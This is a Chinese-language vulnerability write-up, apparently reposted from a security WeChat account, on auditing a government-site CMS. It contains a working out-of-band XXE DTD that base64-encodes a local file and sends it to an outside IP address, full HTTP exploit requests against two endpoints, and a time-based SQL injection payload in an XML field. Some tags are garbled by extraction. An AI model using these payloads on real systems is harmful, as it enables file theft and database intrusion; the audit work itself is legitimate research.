1. 程式人生 > 其它 >php偽協議漏洞_某 CMS 的漏洞挖掘和分析

php偽協議漏洞_某 CMS 的漏洞挖掘和分析

技術標籤:php偽協議漏洞

來自公眾號:信安之路

作者:Z1NG

由於種種原因,又拿起了這套 CMS 的原始碼開始進行審計,程式碼是兩週前下載的,結果現在好多洞的已經修補了(官方版本更新資訊上並沒有提示安全更新,有點坑)。稍微記錄一下這次挖洞的過程吧。

第一處 XXE 漏洞

XXE漏洞基礎知識,網上很多。值得一提的是版本號,想要利用 XXE 需要注意 PHP 的版本號。。其實是Libxml的版本號要小於等於 2.8.0。這一點很重要。。復現的環境是使用phpstudyphp5.4版本。一開始使用5.6 版本死活不成功。。怪自己太蠢。。

全域性搜尋關鍵字simplexml_load_string

就可以找到漏洞點。不難觀察出$postArr值使用偽協議寫入,是我們可控的,因此只要傳入構造好的XML語句即可外帶出資料。而這個漏洞點是不會回顯獲取到的資訊,因此只能構造OOB進行資料外帶。

這是一個很標準的XXE漏洞,使用基礎操作就可以了。

29c28492-341f-eb11-8da9-e4434bdf6706.png

在自己的 vps 上建立一個oob_poc.dtd,傳送資料包如下:

#oob_poc.dtd的內容如下<?xml version="1.0"encoding="UTF-8"?><!ENTITY%fileSYSTEM"php://filter/convert.base64-encode/resource=c:/windows/win.ini"><!ENTITY%all"ENTITYsendSYSTEM'http://115.159.35.88/?%file;'>">
%all;

#傳送資料包如下
POST/gov/weixin/?echostr=&signature=1HTTP/1.1
Host:127.0.0.1
User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64;rv:68.0)Gecko/20100101Firefox/68.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding:gzip,deflate
Referer:http://127.0.0.1/gov/weixin/?echostr=&signature=1
Content-Type:application/x-www-form-urlencoded
Content-Length:165
Connection:close
Cookie:Hm_lvt_b60316de6009d5654de7312f772162be=1565139829;PHPSESSID=vfmd3i6ofu5r48g90bv71mm6n2
Upgrade-Insecure-Requests:1

<?xml version="1.0"?>
root[
%remote;
]>
<comment>
<text>test&send;text>
comment>

可以看到自己的伺服器上,日誌裡多了一條請求,即資料經過base64加密外帶到伺服器的記錄。這裡如果檔案過大則會外帶資料失敗。。不知道是什麼原因。。

2bc28492-341f-eb11-8da9-e4434bdf6706.png

SQL 注入漏洞

XML本質是進行資料傳輸,在特定的情況下也許會產生不同的漏洞,比如說此處的 SQL 注入。這個SQL注入是挖掘上面XXE漏洞後才發現,可以說的上是買一送一了。

2dc28492-341f-eb11-8da9-e4434bdf6706.png

上文提到,$postArr變數是由偽協議輸入得來的,而該CMS全域性是有對GETPOST引數進行過濾的,一但輸入單引號等特殊字元,就會被攔截。也正因為是使用偽協議的方式寫入引數,從而繞過了該檢查機制。

30c28492-341f-eb11-8da9-e4434bdf6706.png

只要我們控制了$ToUserName的值,即可造成一枚SQL注入。而$TouUserName是通過 XML 解析來的,顯然我們可以控制這個解析的串。構造如下payload

<xml>
<ToUserName>aaToUserName>
<FromUserName>bb'or1=if(0,sleep(1),0)#FromUserName>
<CreateTime>ccCreateTime>
<MsgType>eventMsgType>
<Event>subscribeEvent>
<Content>eeContent>
xml>

MsgTypeEvent等用來控制程式流程,FromUserName是注入SQL語句的地方。對比如下兩張圖,不難看出如果條件為真,伺服器則會延時一段時間,因此可以判斷出存在 SQL 注入。

34c28492-341f-eb11-8da9-e4434bdf6706.png

35c28492-341f-eb11-8da9-e4434bdf6706.png

第二處 XXE 漏洞

這裡的 XXE 漏洞也算是碰巧遇見的,主要是傳參的方式變了,一開始沒認出來。

37c28492-341f-eb11-8da9-e4434bdf6706.png

咋一看$GLOBALS['HTTP_RAW_POST_DATA']一個全域性變數,以為是固定值。但是不甘心沒找到新的 XXE 漏洞點,於是抱著試試的心態去百度了一下這個變數。看到如下圖的資訊,我就高興了起來。也就是說這個變數傳參的效果和偽協議傳參的效果是一樣的。

知識點傳送門

https://www.cnblogs.com/mracale/p/10556520.html

39c28492-341f-eb11-8da9-e4434bdf6706.png

也就是說,當Content-Type的值為application/x-www.form-urlencoded時,效果等效於php://input。那麼事情就變得簡單了。只要按照第一處XXEpayload構造一下就好了,唯一不同的地方在於Cotent-Typed的值要做修改。

POST/gov/api/notify.phpHTTP/1.1
Host:127.0.0.1
User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64;rv:68.0)Gecko/20100101Firefox/68.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding:gzip,deflate
Referer:http://127.0.0.1/gov/api/notify.php
Content-Type:application/x-www.form-urlencoded
Content-Length:168
Connection:close
Cookie:Hm_lvt_b60316de6009d5654de7312f772162be=1565139829;PHPSESSID=vfmd3i6ofu5r48g90bv71mm6n2
Upgrade-Insecure-Requests:1

<?xml version="1.0"?>
root[
%remote;
]>
<comment>
<text>test&send;text>
comment>

最後

這套CMS審計下來明顯的SQL注入,重灌漏洞等問題挖到四五個點。這是第一次通過審計的方式挖掘到XXE,也算是圓滿了一些。由於審計效率太慢,大部分洞都被大佬們挖走了(留下沒有技術的眼淚.jpg),只好撿撿漏。

審計的時候一定要注意版本!!!不管是 CMS 的版本也好,還是環境的版本也好都會對復現產生一定的影響,可能浪費不必要的時間。再有就是審計程式碼耐心很重要,技巧方面就是善用全域性搜尋,定位變數。大概就是這樣了


●編號944,輸入編號直達本文

●輸入m獲取文章目錄

推薦↓↓↓

3cc28492-341f-eb11-8da9-e4434bdf6706.jpeg

資料庫開